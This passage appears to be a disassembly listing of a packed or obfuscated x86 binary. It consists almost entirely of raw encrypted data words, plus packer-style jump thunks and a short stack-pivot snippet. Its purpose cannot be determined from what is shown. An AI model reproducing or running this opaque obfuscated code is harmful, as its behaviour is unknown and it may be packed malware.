8B07EA28h, 0E41BCD85h, 27363507h, 0D0FF3481h dd 8D0CC483h, 0EA28C5B5h, 14468B07h, 8304E083h, 840F04F8h dd 7, 5E9C033h, 0B8000000h, 1, 2015BD83h, 0F0107E4h, 785h dd 0E9C35D00h, 2, 858DCF5Dh, 7EA28EAh, 9F98589h, 8D8D07E4h dd 7EA2A25h, 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h dd 1Ah, 79C35747h, 926B91DBh, 0B5895C53h, 7E422E1h, 1B718D89h dd 0F38B07E4h, 2DA185C7h, 64EC07E4h, 0BD090000h, 7E413E1h dd 22B985C7h, 7E4h, 95010000h, 7E42631h, 1811B5FFh, 0B70F07E4h dd 6195FFC7h, 8907E430h, 0E4215195h, 0FF006A07h, 0E40E4195h dd 0EBC08B07h, 0A585F06Fh, 4B028BB5h, 7EED53F9h, 4670712Dh dd 0C13EE1E7h, 27065902h, 3E2FEEEBh, 0BBB29E07h, 0B44E4084h dd 0D957A6A7h, 90D2B973h, 0E5FE170Dh, 0DDA9AA98h, 8D73EDA6h dd 9FE2CC79h, 0EB684769h, 88D5BCA9h, 15606CD5h, 0F512825Ah dd 226B67Ah, 0EDD65F18h, 0B47740A3h, 0F2C0167Eh, 0E29208C5h dd 0BA2EE2B5h, 62BB5088h, 83794AF5h, 9362E163h, 11E8h dd 0CC03000h, 35038AC6h, 8BB0FBB7h, 31433F3Fh, 0B70F09A6h dd 8E85BFAh, 8F000000h, 0A557D236h, 0F5F2134Fh, 5CC3815Ah dd 0BA000068h, 7C463258h, 9D29C02Bh, 7E432A9h, 0E91834FFh dd 12h, 118D7B58h, 0F3511AFBh, 0C48EEB87h, 4D6548Ch, 0F55995C3h dd 0ECA9E981h, 870F35D9h, 6, 1F3DBD8Bh, 0F18107E4h, 2D1833A7h dd 0BC5F181h, 0B58B2A43h, 7E4218Dh, 8B030C89h, 835E50F7h dd 816603E8h, 48D76DD6h, 0B45784BEh, 38F88134h, 0FFFFF98h dd 0FFFF9F85h, 0AE8FFh, 4FDE0000h, 0E92C5432h, 497C45D0h dd 0DFD9D89h, 0F5907E4h, 686h, 69953300h, 8107E406h, 6CCDC1h dd 6810F00h, 8B000000h, 0E41C599Dh, 1B0DBE07h, 0CF800000h dd 0E9018BAEh, 6, 0B45B6D49h, 0C08191F2h, 7568D9F2h, 11E9h dd 6E2D3D00h, 0B36E854Bh, 0F605BA3Dh, 22F37606h, 0E881E296h dd 5D2034FBh, 276DF081h, 0D28108BBh, 1FCF6AF0h, 81FC0189h dd 3AFD51E9h, 0B98D8940h, 8107E40Dh, 3AFD4DC1h, 0FD952340h dd 4E07E40Eh, 0FFA3850Fh, 890FFFFFh, 3, 8DDE8B66h, 0EA2C958Dh dd 29958B07h, 8907E40Eh, 0E41B718Dh, 0A59D8907h, 0C707E415h dd 0E42DA185h, 655407h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1804h, 0C3554500h, 0E70619ADh, 880F5621h dd 2, 0C75B98B2h, 0E422B985h, 7, 51006A00h, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1C04h, 0C3514100h, 0AC3F8269h dd 3A1FF4F5h, 0EDB5FF31h, 6A07E40Ah, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 1C042444h, 41000000h, 7E26C351h dd 7BE97990h, 892EE4CCh, 0E423C9B5h, 6195FF07h, 8907E430h dd 0E40F3195h, 0FF006A07h, 0E40E4195h, 0EBC08B07h, 0CA7E006Ah dd 1A473B42h, 21F44785h, 79785F1Ah, 0D1CBABC1h, 593E299Ch dd 0ED83C3CAh, 6B9C0B6Eh, 1F19F47Fh, 2A493489h, 9BAF1A11h dd 0E66D82D7h, 0F2256A44h, 6F05EDB8h, 0DA490484h, 79EE2DBDh dd 301B00AFh, 8F58E1B9h, 86170525h, 2845F40Bh, 4E6ADF1Eh dd 88B867BEh, 0A19FAA3Eh, 59E41Dh, 0ED5502A5h, 99094C60h dd 0E9156A14h, 16h, 442EFD01h, 2530000h, 3 dup(0) dd 0F0E90000h, 6800000Bh, 7EA2E9Ah, 0FB318CE9h, 2F6768FFh dd 82E907EAh, 68FFFB31h, 7EA314Eh, 0FB3178E9h, 321C68FFh dd 6EE907EAh, 68FFFB31h, 7EA32CDh, 0FB3164E9h, 346868FFh dd 5AE907EAh, 68FFFB31h, 7EA3537h, 0FB3150E9h, 366868FFh dd 46E907EAh, 68FFFB31h, 7EA376Fh, 0FB313CE9h, 550357FFh dd 0A4C0D22h, 0BA92C2D7h, 6EE67287h, 1D2D263Bh, 4815B6EAh dd 0F70C3F0Bh, 0AABFF260h, 5C71A4ACh, 0BD2255F9h, 0BC407053h dd 893D23FFh, 0D27CD988h, 94BA9B8Eh, 3B375961h, 0A2CB0EF1h dd 23D023F9h, 90D41D33h, 0F9A16DA1h, 0D42D523h, 5E8C0961h dd 2A2E5Ah, 0E62D0000h, 367EC8C0h, 1748064Fh, 0F9980302h dd 579BA823h, 0F9983468h, 46099C23h, 5EAA421Ah, 2F280F5Ah dd 0DF52F223h, 51000000h, 8ED27CD9h, 0C7AAF23Ah, 1C158E97h dd 72A28794h, 771C158Eh, 3320396Ah, 75E0D317h, 4C79C60Eh dd 0B0935EC3h, 1C168280h, 0DE27707Dh, 0C7F48294h, 7416A35Ah dd 79DCCF43h, 9F28290Ah, 4B942243h, 1EA00718h, 0CC891C16h dd 7513882h, 64A8AAADh, 3184C811h, 40279D00h, 0A0F33713h dd 4FFF566Fh, 703250Bh, 321FDABDh, 778423FAh, 7E2A3C44h dd 0E22C75D5h, 0DF65CFBh, 70C30749h, 9EE2C53Fh, 32BE113h dd 8EC5ACF6h, 0DF7489BCh, 0C92E796Bh, 7296C2A5h, 9D775h dd 71E77300h, 2630293Eh, 0D676DEF3h, 8ACA8EA3h, 39114257h dd 64E9D206h, 13285BEFh, 0C6DB0E44h, 788DC090h, 0D93E71DDh dd 0BC5C8C6Fh, 0AD6123FFh, 307AD9ACh, 0ADE02925h, 4791BD98h dd 0B9FED335h, 2556DC85h, 0C0E647C2h, 9C9B7EC8h, 7F23F997h dd 0B3F2E72h, 7323F998h, 0BBF36FE0h, 0C05A5EAAh, 0D0h dd 0D27CD9BFh, 92B89B8Eh, 93F85F4Eh, 64F11C15h, 0B3A2B7EAh dd 0B1F55BFBh, 0EBD1155Eh, 9C83CDC5h, 0FE5195B9h, 0B57053CDh dd 0FA23F9A7h, 347094Dh, 2C3467B0h, 0E1C40E1Ah, 2BE0858Ch dd 448CD6E3h, 73729D32h, 9FD09B8Fh, 997CCD86h, 1C183F69h dd 0EFC38E66h, 0D2B00149h, 0F80D4089h, 40FDEF5Bh, 0CC2A59Fh dd 90AEBE8h, 1A400000h, 63F60B3Eh, 0A9ABC0F3h, 0FD5B70A3h dd 440F2457h, 3C9FD306h, 0F5282231h, 0A8DB77E0h, 5A8DC393h dd 0B3E1045h, 29593CA6h, 2623FFBEh, 7AD97172h, 85020F05h dd 62F4FD43h, 0E57AAEEh, 50337BC5h, 1C166520h, 7CDF101Dh dd 1660EE67h, 4326252Fh, 1C166513h, 7EC20B18h, 6517472Ah dd 7141C16h, 0AF2A8DBEh, 80EA6678h, 0E55EEFE0h, 9DB194E0h dd 86CEA42Dh, 0C5947DC6h, 0E476091h, 0F5E4F640h, 0A52BDB95h dd 5447BBECh, 0A7A9AD01h, 7DC71063h, 9D225235h, 1A271C15h dd 291086E9h, 0E7F3242Eh, 377FC9C1h, 9CDC0CEFh, 0D4E11C15h dd 0BAFB8EA3h, 0F30023F9h, 0B599BCAFh, 81D5846Bh, 56B9EA3Dh dd 0F63A1441h, 3FC1F407h, 52FDA4ABh, 69EEC095h, 952A5E9h dd 0DC7960D6h, 0AADB2E72h, 468AC491h, 0B7C22457h, 9CAEA59Ch dd 5DEF6558h, 0CD820119h, 0FF5095C0h, 26563981h, 239CB7C2h dd 89CCE516h, 0D87D92C5h, 0C1629275h, 5A679CB7h, 2569E371h dd 564589D2h, 9CB7C21Fh, 7E46BE0h, 4018FF4Eh, 987DD014h dd 9B735A68h, 5A6F9F82h, 5F6C9B73h, 6FA2EBF8h, 0A4B3FB5Ah dd 0D7107E3h, 29724221h, 0F23B1740h, 0AAA6C8AEh, 28311860h dd 7DE8FD2Eh, 0F2A3577Ch, 84AAB2E5h, 0FC3516C1h, 8C6174EBh dd 27394D9Eh, 65AFF81Bh, 410A3A1Dh, 0CA8D94CFh, 8AF14488h dd 0EFD24C7Dh, 9CB360D0h, 267ABECBh, 20CBFBDEh, 0C3D09B73h dd 214A7D92h, 0DCB09B73h, 0ABEF61F5h, 61EE2758h, 0E70D5505h dd 45CD222h, 0DDD10000h, 1C158EADh, 159F0034h, 0A33B871Ch dd 0BEF21C15h, 0E01C15A1h, 0B1F55FF9h, 0F212D5Eh, 1A5EF463h dd 51347EC7h, 23F9C5FEh, 0CE82D481h, 0BE71A184h, 616E23F9h dd 80D2618h, 0D3F7BAC4h, 723D6h, 25332700h, 0DA7CDDF2h dd 8AC292A7h, 3E164257h, 0ED5DF60Bh, 182586BAh, 0C7DC0F3Bh dd 7A8FC290h, 2C4174DCh, 8DF22529h, 0C0104023h, 590D23FFh dd 0C2917858h, 173E5788h, 0FB0DF337h, 765DA5EFh, 0F2D71E1h dd 0A90B4B85h, 70A1EA79h, 8E345Bh, 0E02A3724h, 0EF15CF9h dd 24008DDEh, 5485CEDBh, 1B4645F1h, 4D302534h, 24008E1Dh dd 9BCC1522h, 2771798Fh, 0E4BA3D44h, 6FE5F22Bh, 859DF3E4h dd 0E1E9FFCBh, 9FD5B497h, 0CDDAD369h, 93B89C83h, 0A15B80B0h dd 27707DC4h, 0EB5F90E3h, 9DE7E305h, 859762BAh, 0F03A47CCh dd 1E014C09h, 0CB8584EEh, 0DB59F53Eh, 1D8461D3h, 967DC710h dd 0FF6293C3h, 0F1E36BEAh, 13387058h, 550B082Ch, 0F5000006h dd 0ABC0F365h, 6075A8AEh, 102558F4h, 0C4D90C48h, 5488BB8Fh dd 0DD6DE677h, 90C295AAh, 420E485Dh, 0F35BFA0Fh, 0EF15BC0h dd 23FFC0DEh, 0E62627DBh, 9B7EC8C0h, 23F9AD08h, 0C7BAFE0Bh dd 0F87CC08Eh, 26302910h, 6393BCF5h, 18FB454Dh, 2BDDCB85h dd 4C337D8Ah, 0AD004408h, 0D408197Ch, 5B1C158Eh, 1C158F2Bh dd 539D95BBh, 0B0E0C30Bh, 0AD1C158Eh, 437356A0h, 481C158Fh dd 0CEF50A3Bh, 0C123FFBBh, 0CC104414h, 92D680D9h, 69ADF63Fh dd 0FFBC4D7Ah, 0BB9FD423h, 0C78E23FFh, 6073A386h, 6B78142Bh dd 347DD582h, 92661D42h, 0E6E307CAh, 5A4h, 71A4B4A6h, 2659FD5Ch dd 0D6094311h, 8ABD97C1h, 396CDE75h, 0BC97A605h, 11465B8Eh dd 5DF90E41h, 0AAABC0F3h, 0A20C71A4h, 0FFC08FBFh, 0D7D88C23h dd 7EC8C0E6h, 8F235336h, 1B281C15h, 668D70EAh, 8623FFBBh dd 6596B49Fh, 8A7DC1CEh, 485083CBh, 0F8945C2Bh, 0F65BA57Ah dd 2E1569ADh, 0DFF82929h, 90A5D876h, 524589C5h, 0D2074B03h dd 3025C28Dh, 757EB1Eh, 245A5052h, 183h, 0C7C0E623h, 158EB4E4h dd 63ACB91Ch, 22460719h, 2BF36ACCh, 0F5391142h, 14F771A2h dd 23FA6DA9h, 5E4D919Eh, 23FA6B2Ch, 5927286Dh, 6AFE2E11h dd 0EEFB23FAh, 0F39FB1BDh, 56A9ED63h, 75E0C30Dh, 0FA2BDE70h dd 0B0A5BAEDh, 290C549Eh, 1C1667F9h, 44B8E9F6h, 174A0451h dd 0A7F1F90Fh, 0D2DE785Fh, 4185CE86h, 65A8BDEEh, 4A23FA7Bh dd 0D60AF93Dh, 3E23FA58h, 7DD3836Ah, 303C134Ch, 5A5E5578h dd 2EFFh, 0C0E6FE00h, 9C9B7EC8h, 9C23F997h, 15F8BF8Ah dd 2B5C0B3Bh, 0EF438794h, 0D2034F08h, 0F9AF89BDh, 0F15EF123h dd 5E822575h, 0B4425Ah, 0D9410000h, 9B8ED27Ch, 4892B8h dd 158EED1Dh, 68E4701Ch, 4E0BF401h, 7063D708h, 322569E5h dd 88CE8B23h, 75A8F144h, 133F18FFh, 364B7CCFh, 1C1593CFh dd 4F321B3Ah, 1C15931Fh, 2D260F1Ch, 99A1D41Dh, 4E317B77h dd 23FC7A77h, 0A10F47F4h, 15498B2h, 3E256FB8h, 91C39515h dd 7EB1FA4Dh, 6E60EA69h, 0BAC154E7h, 9F0ED11h, 41000004h dd 0F70C3F19h, 0ACC1F462h, 5C71A4A8h, 102558FCh, 0A0D40743h dd 2921323Bh, 0DC76E1F6h, 8EC294A9h, 3F0F465Bh, 5A3DA70Ch dd 23FFC32Ah, 0D97A7B2Fh, 279DD07Ah, 0F73B1740h, 0FB5A73A4h dd 0AC072688h, 0B9027B51h, 91780B86h, 0E16DE8C2h, 0A3365498h dd 6D3FA962h, 0CDE61760h, 8F82C688h, 0E26EE8C6h, 78EB6699h dd 8F1D4D30h, 0EB751C15h, 0E3F0612Fh, 0FC2D3AA1h, 16DBB3E7h dd 0DC063A1Ch, 70961C15h, 244B2E78h, 27240009h, 2B75DD7Ah dd 0FFEF1848h, 0BF081523h, 0AC73957Bh, 56593373h, 74BE0766h dd 4113452Ch, 96C6A9FDh, 9323FFD7h, 0F70C3D86h, 2BE3F6F8h dd 0DFC6BED0h, 0A2E9F1CCh, 80B19BB9h, 81EADCE9h, 83C299F6h dd 33A625Fh, 4A100000h, 93C6DB0Eh, 0D97B90C3h, 2D2B4073h dd 74DFF427h, 4C6FA3D6h, 0C5F85201h, 78ABA7B0h, 2A5DF363h dd 0DB0E4015h, 0F9290C76h, 0F623FFC3h, 7CD94142h, 0B8A188D2h dd 0D6075A9Eh, 59FC0E62h, 0E317AF46h, 0D77E97C8h, 2A3C4477h dd 66EDD41Eh, 1C4DA0E4h, 0E3735AA2h, 0A5D6296Dh, 0F9EC4D90h dd 1455223h, 0B52C9BADh, 9AD279A2h, 8A205469h, 0F58823FAh dd 645E0E5Ah, 3BDD5A5Eh, 0DC000000h, 2C28C0E6h, 4089DC20h dd 981413F6h, 0A1723F9h, 97A3D7C6h, 370B23F9h, 26B7A025h dd 3518FBF8h, 23FA5F05h, 0CBB4FD0Ah, 2D80C48Ah, 0E08CC3FCh dd 5A5E7388h, 0B3AFh, 7CD9AE00h, 0B89B8ED2h, 0FA5B4E92h dd 381D1054h, 6BD2E316h, 5E1C1593h, 0F2457F7h, 0D7BE0846h dd 9B8ED280h, 0FD5094BAh, 290F83B4h, 0C7ED6B07h, 2B7EC290h dd 6C4F99E2h, 23F9A225h, 1135D6Ah, 4900228Ah, 1F0FBFFFh dd 77052605h, 929AFD2Eh, 472A747Ch, 2BE1286Ah, 6503745h dd 0CEB3064Ah, 1C17D39Eh, 0FB458E9Bh, 0D80B3F14h, 0C8BA90C3h dd 0C2A5F399h, 97A779Bh, 41000002h, 0F70C3F19h, 0ACC1F462h dd 5C71A4A8h, 102558FCh, 0A0D40743h, 2921323Bh, 0DC76E1F6h dd 8EC294A9h, 3F0F465Bh, 5A3DA70Ch, 23FFC52Ah, 0D97A7B2Fh dd 889DD07Ah, 0D34E81CDh, 7EC8C0E6h, 0F9979C9Bh, 2E727F23h dd 0F9980B3Fh, 6FE07323h, 5EAABBF3h, 10EC05Ah, 0D9BF0000h dd 3A8ED27Ch, 8E643828h, 51079076h, 7089BA03h, 0B1D67E3h dd 0F6D89372h, 276A7F1h, 1671AC13h, 16381D1Ch, 42256DE3h dd 1C166912h, 0C0D90A17h, 8F75B995h, 44277179h, 23FA77FDh dd 0B7A087CFh, 6286B69Bh, 768323FAh, 4387C98Dh, 1B28BFF0h dd 856072E8h, 42725512h, 4723F9CAh, 224263Ah, 18482B75h dd 1523FA37h, 0A5CBD708h, 448063ADh, 692BE11Eh, 282B125Ch dd 357FD782h, 17DD2252h, 0D11A271Ch, 0C12D3F87h, 0F4CBC742h dd 0EB77A78Ch, 67741C17h, 4B5DD336h, 1538E752h, 7C95C675h dd 768173D7h, 0CEC2A55Eh, 102ADAAh, 12480000h, 5BFE1346h dd 0A1B3C8FBh, 0F56378ABh, 3C172C5Fh, 4A7DB0Eh, 0FD301A39h dd 0B0E36FE8h, 6295BB9Bh, 1346084Dh, 316144AEh, 2E23FFC6h dd 9178797Ah, 0F5488CC6h, 8E98C8ABh, 88951C15h, 35153E57h dd 1B68ED02h, 6346FD16h, 1C166633h, 0C172B38h, 664C8223h dd 0DF193EC2h, 9F1A4D96h, 88D27CD9h, 6D9EB8A1h, 97BEA5F9h dd 0E86D86B7h, 0D6BD3366h, 368ACE7Eh, 158F2353h, 0D21B281Ch dd 777395A1h, 0D202E52Dh, 0D71C158Eh, 3C1F99CAh, 23FFBC11h dd 71C50916h, 3F83CB8Ah, 0B3A2BBECh, 0EA6A519Bh, 0E2001E62h dd 0CBD46812h, 0A80B3C85h, 84192032h, 6E0F2D6Fh, 1D31243Dh dd 0F752EAD9h, 9D4467C4h, 2E2035B2h, 3F6FE6FBh, 0A4F73B19h dd 0EF47775Ah, 37446043h, 0A1B7AAEEh, 3E2169B3h, 6043EF0Eh dd 59CDFE0Bh, 4E9BB44Fh, 0FF144707h, 0B7B4F856h, 0Ch, 2D3F69BCh dd 3FCA85C4h, 30AFE08Dh, 93D781D9h, 5599B5A0h, 185CF462h dd 0DC203225h, 9CE06AE9h, 5CA0AAA9h, 2165EF69h, 0E226262Eh dd 0A8EC6AEFh, 0E789576Ah, 4C781h, 0BD550000h, 4, 875DEF29h dd 685C243Ch, 46B4h, 50241489h, 405E089h, 83000000h, 48704E8h dd 2C895C24h, 2D7E6824h, 148B07EAh, 4C48124h, 54000000h dd 83242C8Bh, 0EC8104C4h, 4, 8F241489h, 34FF0845h, 0C4835D24h dd 24148B04h ; --------------------------------------------------------------------------- push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] pop esp jmp loc_598345 ; --------------------------------------------------------------------------- db 0A4h, 0C4h, 0B2h dd 6B91DB79h, 85C5392h, 0B8826083h, 7EA3896h, 0E0FFC503h dd 1D91C9DDh, 18D09626h, 6DCDD43Fh, 54FE76E0h, 37E068B1h dd 65949A36h, 0B38475Ch, 9A9D01Dh, 4D8281F1h, 6E75DEB2h dd 111B8B84h, 6E415C19h, 21AC6B8Fh, 0E0D5ADCh, 23015B16h dd 7C4B1DA6h, 8793B50h, 66D480A9h, 6F176FFBh, 7150F8B2h dd 9C29996h, 71114972h, 3E3C531Ch, 564EDCD1h, 426D434Fh dd 18DD498Fh, 3D9734B2h, 5733CDC2h, 67C5DEE1h, 6E73EFD3h dd 1A1A38EAh, 4777EC9h, 0DCE9h, 0A7253200h, 459CD73Ch dd 0E1C8C3CAh, 0ACABDAB6h, 92B395A7h, 95A1F445h, 0ABDA00B3h dd 5D20A7ECh, 0F46BB291h, 752096B1h, 0B79B5520h, 0A5BCF26Bh dd 94A19692h, 99603A75h, 0BD329FB7h, 0B2E9B599h, 0F292A59Ch dd 7695ACA3h, 97B1EFh, 0A5B4F94Eh, 6B5C009Fh, 924AF07Bh dd 52D0008Ah, 53F545F3h, 0D979A3F6h, 0AFF144D6h, 41F445E3h dd 0B000D77Dh, 6BBF9792h, 0CF60FD75h, 0BCF996BFh, 7D20B293h dd 0F79B5720h, 0BD9492ABh, 0BCE3B29Eh, 9BE0CE9Dh, 9D728F89h dd 0EEA9FD8Fh, 0B6F66DB4h, 7293BCE1h, 97B3EDh, 43F1B6D0h dd 0F0A8CDh, 0 dd 129D7447h, 5E99E0E3h, 9 dup(0) dd 15A7E900h, 88680000h, 0E907EA3Ch, 0FFFA436Fh, 0EA3D6768h dd 4365E907h, 3068FFFAh, 0E907EA3Eh, 0FFFA435Bh, 0EA3F7768h dd 4351E907h, 968FFFAh, 0E907EA40h, 0FFFA4347h, 0EA40BF68h dd 433DE907h, 8268FFFAh, 0E907EA41h, 0FFFA4333h, 0EA425C68h dd 4329E907h, 0C68FFFAh, 0E907EA43h, 0FFFA431Fh, 0EA446B68h dd 4315E907h, 6068FFFAh, 0E907EA45h, 0FFFA430Bh, 0EA46AD68h dd 4301E907h, 1A68FFFAh, 0E907EA48h, 0FFFA42F7h, 0EA497568h dd 42EDE907h, 0BF68FFFAh, 0E907EA4Ah, 0FFFA42E3h, 0EA4C9D68h dd 42D9E907h, 9468FFFAh, 0E907EA4Dh, 0FFFA42CFh, 0F589AB83h dd 52E606DFh, 0B246603Ch, 15A9BD9Ch, 740824FFh, 21FC559Bh dd 815B7105h, 0DBB9CF63h, 3E1B31C5h, 2FDF9226h, 0A89BCDB2h dd 0AC448913h, 946BE84Ah, 4213A89Bh, 9B896ED9h, 2D0A13A8h dd 495BC415h, 5A795674h, 0DA1D4470h, 0AA88142Bh, 71033B94h dd 7898710Fh, 4284760Dh, 697BE414h, 0C65A724Fh, 55754EECh dd 0C6F2043h, 6EBE172Fh, 0A4DCF2D0h, 43134602h, 0F952E7CCh dd 28C09E7h, 5013A6BFh, 7902AFE7h, 0CE13A680h, 2AD589BDh dd 6CD877FDh, 0E78AFAFAh, 7E90CDC2h, 25DFh, 424D0800h dd 0E99F1C6Ch, 0A713A6A9h, 0A659063Eh, 2513A6AAh, 8B295014h dd 0A68193B1h, 0D8780759h, 0CF7Eh, 7956A700h, 805B2961h dd 815E2C64h, 0A17B1969h, 9EB04B83h, 1E2D0AD8h, 42A0DAA1h dd 0BF0F7814h, 42A0BD42h, 57B01914h, 70906907h, 698B9D38h dd 42A46174h, 0B9943214h, 0B8CA659Dh, 15A9C19Eh, 0D20A22FFh dd 0A9C9A240h, 601B7497h, 0C4146D81h, 0AA4CF062h, 0DD2F9325h dd 0B250D2CBh, 821E13A6h, 0BB568EA4h, 56F4CE62h, 2E516377h dd 9BFD4D61h, 0BAC7BC39h, 2A9313A6h, 98AAC09Eh, 40522C9Fh dd 0A9F96214h, 8014300Bh, 1F738F6Ah, 62357A8Ch, 57D0343h dd 0DE000013h, 3A50E406h, 97AD4161h, 0F70DA1BBh, 5A700418h dd 0F6CF637Fh, 607C57F0h, 0BEDCB6CCh, 2036142Ah, 8199768Ch dd 0D8A3AEDh, 13A89C76h, 56109FE4h, 0B5CB5F7Bh, 5B2CC0D8h dd 1C6C424Dh, 0A6A9E99Fh, 0EE3EA713h, 0A615B57Ch, 0B2C44E78h dd 0B4BC3FECh, 0B90B13A6h, 0B425DA57h, 48B113A6h, 0B1ED9936h dd 0D877FD4Eh, 0B387h, 7956B000h, 25972961h, 16762733h dd 0D6F002B8h, 15A7DFFBh, 0F801B9A3h, 9DAF3CBFh, 422131A4h dd 31492614h, 5FAA879Dh, 0D8106983h, 0D0208E01h, 0A63ED153h dd 0C13EA013h, 13A63F3Ah, 58B14D89h, 56A7D1F7h, 93FCDBEDh dd 0AC8725FFh, 0ABBD5890h, 57A70788h, 8DC5DBB9h, 8502E0F2h dd 14406725h, 0E07ECE37h, 3F55E905h, 0C1F44864h, 22623577h dd 12265CE2h, 0E5BD0000h, 40192FC3h, 9A768C20h, 0F7D6EC80h dd 5E394FE3h, 2FD5AE42h, 0AB3F5B36h, 99DBB95h, 6BFF15F3h dd 0CC607855h, 17EC6919h, 0C313A89Dh, 7B56EF7Eh, 0D8B5CB5Fh dd 5D95B38Dh, 4D569C2h, 29617956h, 0D2667E5Bh, 8EC6E0BCh dd 7BCBE3C0h, 0D5E701DDh, 5E3BD9B3h, 86093446h, 0D3A82587h dd 7F1442A0h, 94AE8A16h, 7E305F82h, 8CE3B12Eh, 50B213A6h dd 8D8A71EEh, 0DF4813A6h, 0A68D8F74h, 0D0E24B13h, 747F88F1h dd 0E42CBC8Ah, 0D3238B04h, 0ED920F71h, 69EB2CFEh, 83F5EE00h dd 51ECC8E3h, 0B6D9B0E8h, 0C946A8F8h, 1310DB32h, 472537A0h dd 0F76B96CAh, 8BDB4414h, 64F810EDh, 559714Eh, 62C654BAh dd 5D77FD3Dh, 86000011h, 0E2F88CAEh, 3F55E909h, 9FB54963h dd 218ACC0h, 9E770B27h, 824FF58h, 66845E74h, 0C8DEBCD2h dd 29411E34h, 0B532E295h, 13A89ECEh, 56B8478Ch, 38522E79h dd 81B9CDACh, 0C3558DE6h, 0C11BEF61h, 0A4E2C0F2h, 42734239h dd 95A71014h, 835E1D72h, 3B942F67h, 5FB86EEBh, 167613A6h dd 0A65FE299h, 0AE077013h, 1A94FB1Ah, 7A474DCAh, 0AC151442h dd 8534C774h, 41931B8Bh, 0C7175CFh, 0EE005FE8h, 96691551h dd 3FD092C9h, 40h, 39424D68h, 98E8415Fh, 0A6EF871Bh, 0F875D513h dd 13A6F003h, 0BD0D66CFh, 0F129431Fh, 0C8664456h, 4B40D4EAh dd 13A6F0B2h, 5CF008E5h, 2526846h, 0F05C23A0h, 91FA13A6h dd 9133B97Fh, 0C2000010h, 0AE2F2092h, 38286868h, 228C0326h dd 3B5B34D2h, 78566803h, 0A86951FBh, 39AF1F13h, 0F14B903Dh dd 24C2126Bh, 859B2F47h, 815890A8h, 572CA90Eh, 313A932h dd 74F1419Ah, 14430B2Dh, 963484EDh, 0F70DA1B9h, 38CA021Ah dd 22159DC6h, 788A1E46h, 64413A55h, 26A3F34Ch, 1C735C88h dd 2F976D6h, 0D003F8A3h, 0E7405634h, 2E667E5Bh, 0E3E63A93h dd 285A467Bh, 101662E8h, 0F5CD0000h, 50293FD3h, 0AA869C30h dd 7E6FC90h, 6E495FF3h, 1FE5BE52h, 0BB4F6B46h, 19ADCBA5h dd 7B0F2503h, 0DC708865h, 7FC7929h, 0D313A89Fh, 8477FF8Eh dd 4B1442A0h, 0A6B8D0ADh, 906F0C83h, 59A9447Ch, 42A027DCh dd 0F14AB314h, 99F524A1h, 3CA513A8h, 760D8AECh, 0E413A89Ah dd 0ED8B697Bh, 4E64F810h, 6B095971h, 4B6B448Dh, 0D1F7813h dd 5C1F7047h, 75BE5F80h, 1BF63175h, 96EF8AC2h, 0B503C946h dd 68D1144Ch, 321ABF14h, 9A206062h, 0F84h, 0D165875Fh dd 2EC2E2BBh, 8E223C18h, 0F1859978h, 50E400DBh, 0FDD87177h dd 5D374DE1h, 0B795AB3Fh, 1AF70DA1h, 0BBB6E02h, 0A8E0E98Eh dd 91206513h, 0FD19F492h, 0D8EF23C5h, 0C077642Eh, 5E3B5567h dd 0D684F646h, 0E4A8D7ACh, 0B07E4456h, 0CD6BBBD3h, 5A0D8F0h dd 0EBE92DF3h, 4254744Dh, 1CBAE1A5h, 53EE2640h, 0F996641h dd 9B3EE05Ch, 67000009h, 73C52092h, 7FDFF3D2h, 0D2E4AFE6h dd 7ECEE0AFh, 0A89EC501h, 0D6268F13h, 0AF435B38h, 2D9DBC99h dd 3DDB60A0h, 5D0A429Bh, 13A84FA2h, 0BB0BA3ECh, 4C63883Eh dd 0CBAA4614h, 0D30A5EB7h, 60623164h, 0ECE9A20h, 3D150000h dd 9871871Bh, 0F2CEE478h, 4F2E44D8h, 0B691A73Bh, 0C72D069Ah dd 397B38Eh, 61F513EDh, 0C3576D4Bh, 24B8D0ADh, 0BF44C171h dd 1B13A8E0h, 309247D6h, 42A0CCB3h, 0F218A14h, 0B00018F5h dd 9C00273Eh, 0B93A5109h, 60CD2D3Ch, 6AF3F37Ch, 0E33B3FD2h dd 0E4B2788Ah, 73B7EF07h, 0DEFED775h, 47772FCCh, 0E05BE4B8h dd 8E91Dh, 84774600h, 4B1442A0h, 45C2CFADh, 1442A0BEh dd 225AB31Ch, 3D527587h, 20A42171h, 7213A899h, 401BB909h dd 96341224h, 330DA1B9h, 52E0D7C1h, 35476FA3h, 0EE263E1Bh dd 0E6367817h, 4C06A369h, 93107214h, 1B8C16ECh, 10EF016Ah dd 0C99453A7h, 73B36231h, 0E0BEDh, 0DE00D800h, 3B5B344Ah dd 9BB591A7h, 0FE12F107h, 5D79546Ah, 510AF0C9h, 0B0C65A76h dd 0E24B8D6h, 70861A30h, 34E77B93h, 0E1700784h, 99DE13A8h dd 16F4920Ah, 9BF1A000h, 259FD12Ah, 0D11CF913h, 3585DEF2h dd 41E7C2C3h, 618EC96h, 86957240h, 42ED7209h, 9F64E114h dd 3B1442EDh, 0BF1881D2h, 0B2ECFD6Fh, 0FB0434DFh, 42ACF97Eh dd 93EC5514h, 0BA77BB81h, 0CF6DCF8Ah, 49FD7F5h, 42ACE299h dd 0F5077014h, 5C11E51Ah, 804F2E0h, 4D1B0000h, 9F1C6C42h dd 13A89ACCh, 57C91982h, 97C2531Bh, 2B091BCEh, 8665B08Dh dd 0ABBFDC6Bh, 9FF8A5A2h, 226CCC67h, 57BEF3AAh, 0A1B74BA4h dd 0C774ACC4h, 13A8F834h, 25753956h, 4CD4E2A8h, 0F347B014h dd 6231FAFEh, 31971D5Dh, 0B200000Dh, 0E24B8DAh, 6B811535h dd 0CBE1758Fh, 2E44D8ECh, 0CAA33753h, 34502B24h, 92B08AA0h dd 0F40AE8FEh dd 556D4A60h, 0E15E0EC1h, 13A8E21Ah, 56E473B8h, 5B296179h dd 0FC065F7Eh, 0BAAD40BDh, 3FB3925Ah, 99F20574h, 24601D61h dd 5BE58778h, 76450E0h, 0D2700000h, 0F8CDDFF3h, 42A08177h dd 0D9B25014h, 0D4B381B9h, 325567C0h, 61C54A5Dh, 61C8BD52h dd 0AD3BB808h, 0FB13A862h, 0C7A44292h, 0E8C15FAFh, 0E3F590C8h dd 885E7C1h, 13A99573h, 4A6476DFh, 6705556Dh, 995F718Bh dd 91E1CDC2h, 4D9B4E14h, 4FA30C14h, 62313CACh, 81FD83C3h dd 6200000Ch, 